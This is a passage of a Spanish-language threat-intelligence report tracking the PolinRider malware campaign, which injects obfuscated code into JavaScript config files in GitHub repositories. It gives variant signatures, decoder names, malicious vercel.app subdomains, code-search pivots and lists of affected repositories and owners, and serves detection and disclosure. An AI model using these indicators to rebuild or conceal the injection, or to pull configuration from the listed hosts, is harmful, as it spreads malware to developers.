tailwindcss-animate-style | 1.2.5 | observado | (cuenta eliminada) | 0 |
| Atributo | Variante original | Nueva variante |
|---|
| Marcador de firma | rmcej%otb% | Cot%3t=shtP |
| Semilla de mezcla (capa 1) | 2857687 | 1111436 |
| Semilla secundaria (capa 2) | 2667686 | 3896884 |
| Nombre de función decodificadora | _$_1e42 | MDy |
| Globales inyectados | global['!'], global['r'], global['m'] | global['_V'], global['r'], global['m'] |
| Tipos de archivos objetivo | postcss.config.mjs, tailwind.config.js, eslint.config.mjs, etc. | (mismo) |
| Estilo de inyección | Añadido después del export default / cuerpo del módulo legítimo | (mismo) |
| Blockchain C2 | TRON / Aptos / BSC | (mismo — direcciones sin cambios) |
| Claves XOR | sin cambios | sin cambios |
alaminrifat/shoevista-rifat, Atik203/ShoeVista, DaviBarros/shoevista, IchaCoder/test-shoe, Anas-Ali-3673/Test-west-shoe, naime7132/client-2 (variante devhire)ShoeVista, shoevista-rifat, HedaetShahriar/ShoeVista-Test) o según la plataforma de entrevista (Test-002, test-shoe, test_upwork, test_west_shoe)| Subdominio | Conteo (11 abr) | Primera observación | Notas |
|---|
260120.vercel.app | 56 | antes del 8 mar | Consulta OSM original Q11; también publicada en el primer blog |
default-configuration.vercel.app | 106 | abr 2026 | El clúster de subdominio único más grande encontrado hasta ahora |
vscode-settings-bootstrap.vercel.app | 16 | abr 2026 | |
vscode-settings-config.vercel.app | 11 | abr 2026 | |
vscode-bootstrapper.vercel.app | 6 | abr 2026 | |
vscode-load-config.vercel.app | 6 | abr 2026 |
| Nombre de archivo buscado | Resultados |
|---|
postcss.config.mjs | 416 |
tailwind.config.js | 84 |
eslint.config.mjs | 60 |
App.js | 13 |
postcss.config.js | 13 |
next.config.mjs | 12 |
index.js | 6 |
astro.config.mjs | 6 |
| Otros archivos de configuración | 81 |
| Total (pre-dedup) | 700 |
| Repos únicos | 675 |
| # | Pivote | Motor | Repos únicos aportados |
|---|
| 1 | filename:temp_auto_push.bat | Búsqueda de Código de GitHub | 101 |
| 2 | "_$_1e42" (con refinamiento por extensión/tamaño/fork) | Búsqueda de Código de GitHub | 1,323 |
| 3 | "function MDy(f)" global _V | Búsqueda de Código de GitHub | 14 |
| 4 | LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat | Búsqueda de Código de GitHub | 236 |
| 5 | Cot%3t=shtP regex con fork:yes archived:yes | Sourcegraph | 41 |
| Ronda 1 combinada | 1,556 | ||
| 6 | "<malicious_npm_package>" filename:package.json (7 paquetes npm) | Búsqueda de Código de GitHub | 46 |
| 7 | <url> filename:tasks.json (vercel.app, onrender.com, 260120.vercel.app) | Búsqueda de Código de GitHub | 145 |
| 8 | "default-configuration.vercel.app" y 4 subdominios vscode-*.vercel.app hermanos | Búsqueda de Código de GitHub | 94 |
| 9 | "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" (UUID de plantilla StakingGame) | Búsqueda de Código de GitHub | 42 |
| 10 | Enumeración secuencial '8-stN' 1–200 (verificando etiquetas secuenciales no indexadas) | Sourcegraph regex | 0 nuevos |
| Ronda 2 combinada | +215 | ||
| Total único (ambas rondas + CSV existente) | 1,951 |
| Refinamiento | total_count |
|---|
extension:js | 430 |
extension:mjs | 676 |
extension:cjs | 17 |
extension:ts | 7 |
extension:html | 1 |
size:<5000 | 4 |
size:5000..6000 | 630 |
size:6000..7000 | 125 |
size:7000..8000 | 139 |
size:8000..9000 | 56 |
size:9000..10000 | 36 |
size:10000..50000 | 112 |
size:>50000 | 12 |
fork:true | 157 (¡excluido por defecto!) |
| Fuente | Repos únicos | Propietarios únicos |
|---|
| Publicación original del 8 de marzo | 675 | 352 |
affected_repos.csv (actualización del 18 de marzo) | 769 | 399 |
| Maestro v3 del 10 de abril (5 pivotes) | 1,556 | 835 |
| Ronda 2 del 11 de abril (5 pivotes adicionales) | +215 netos nuevos | +158 netos nuevos |
| Unión (alcance real, 11 de abril) | 1,951 | 1,047 |
| Archivo | Descripción |
|---|
README.md | Este informe |
polinrider-rides-again.md | Blog de seguimiento (11 de abril) que cubre el crecimiento de la campaña, la fusión TasksJacker / PolinRider y la ingeniería inversa completa del payload de extremo a extremo |
affected_repos.csv | Repositorios afectados — primero las organizaciones, luego los usuarios, cada uno ordenado por estrellas+forks descendente. Nota: a fecha de 2026-04-11 este CSV contiene 769 entradas de la recopilación del 18 de marzo. Las búsquedas del 10–11 de abril agregaron aproximadamente 1,180 nuevos repositorios que aún no se han fusionado en este CSV (se rastrean en reports/polinrider-master-v3-1556.tsv y reports/polinrider-round2-repos.txt). El alcance real conocido es de 1,951 repositorios únicos. |
affected_users.csv | Propietarios afectados — primero las organizaciones, luego los usuarios, cada uno ordenado por seguidores descendente. A fecha de 2026-04-11 contiene 399 entradas; la unión de la búsqueda de abril es de 1,047 propietarios. |
reports/polinrider-master-v3-1556.tsv | Lista maestra de la búsqueda del 10 de abril: repo \t osm_status \t threat_id \t severity \t sources para los 1,556 repositorios encontrados en la búsqueda v3 |
reports/polinrider-new-v3.tsv | Los 705 repositorios recién agregados a OSM el 2026-04-10 |
reports/polinrider-round2-repos.txt | Lista maestra limpia de la ronda 2 (239 repositorios únicos de los 5 nuevos pivotes) |
reports/polinrider-round2-submissions-2026-04-11.tsv | Los 72 repositorios recién agregados a OSM el 2026-04-11 (ronda 2) |
reports/polinrider-scope-v3-2026-04-10.md | Informe completo del alcance v3 que incluye la metodología de refinamiento y el análisis de falsos positivos |
reports/polinrider-submissions-2026-04-10.md | Informe de envío masivo de los 704 informes de amenazas de OSM presentados el 2026-04-10 |
reports/polinrider-scope-v3-2026-04-10.md | Informe de alcance v3 |
| Repositorio | Estrellas | Forks | Archivo infectado |
|---|
Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | 6 | 11 | postcss.config.mjs |
Victorola-coder/tewo | 9 | 6 | tailwind.config.js |
Kreliannn/Document-Request-System-FRONTEND | 8 | 1 | postcss.config.mjs |
Atik203/Scholar-Flow | 4 | 4 | postcss.config.mjs |
sparktechagency/Vap-shop-Front-End- | 7 | 0 | postcss.config.mjs |
Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | 7 | 0 | postcss.config.mjs |
coderkhalide/Anti-Detect-Browser | 2 | 4 | tailwind.config.js |
tanushbhootra576/Bionary-Website-Challenge-and-final | 4 | 2 | tailwind.config.js |
tanushbhootra576/collegeConnect | 5 | 1 | postcss.config.mjs |
Kreliannn/commision_portfolio | 6 | 0 | postcss.config.mjs |
| Organización | Seguidores | Repos afectados |
|---|
sparktechagency | 130 | 12 |
FSDTeam-SAA | 21 | 12 |
Softvence-Omega-Dev-Ninjas | 18 | 4 |
Codechef-VITC-Student-Chapter | 17 | 1 |
softvence-omega-future-stack | 11 | 4 |
The-Extra-Project | 11 | 1 |
etrainermis | 7 | 1 |
tricodenetwork | 7 | 1 |
Binary-Mindz | 6 | 1 |
Gamage-Recruiters-406 | 5 | 1 |
| Usuario | Seguidores | Repos afectados |
|---|
coderkhalide | 349 | 4 |
finom | 172 | 4 |
Victorola-coder | 121 | 1 |
dhruvmalik007 | 87 | 6 |
saif72437 | 57 | 2 |
a-belard | 43 | 1 |
Muhammadfaizanjanjua109 | 39 | 1 |
Nathanim1919 | 38 | 5 |
kanchana404 | 33 | 3 |
AKDebug-UX | 30 | 4 |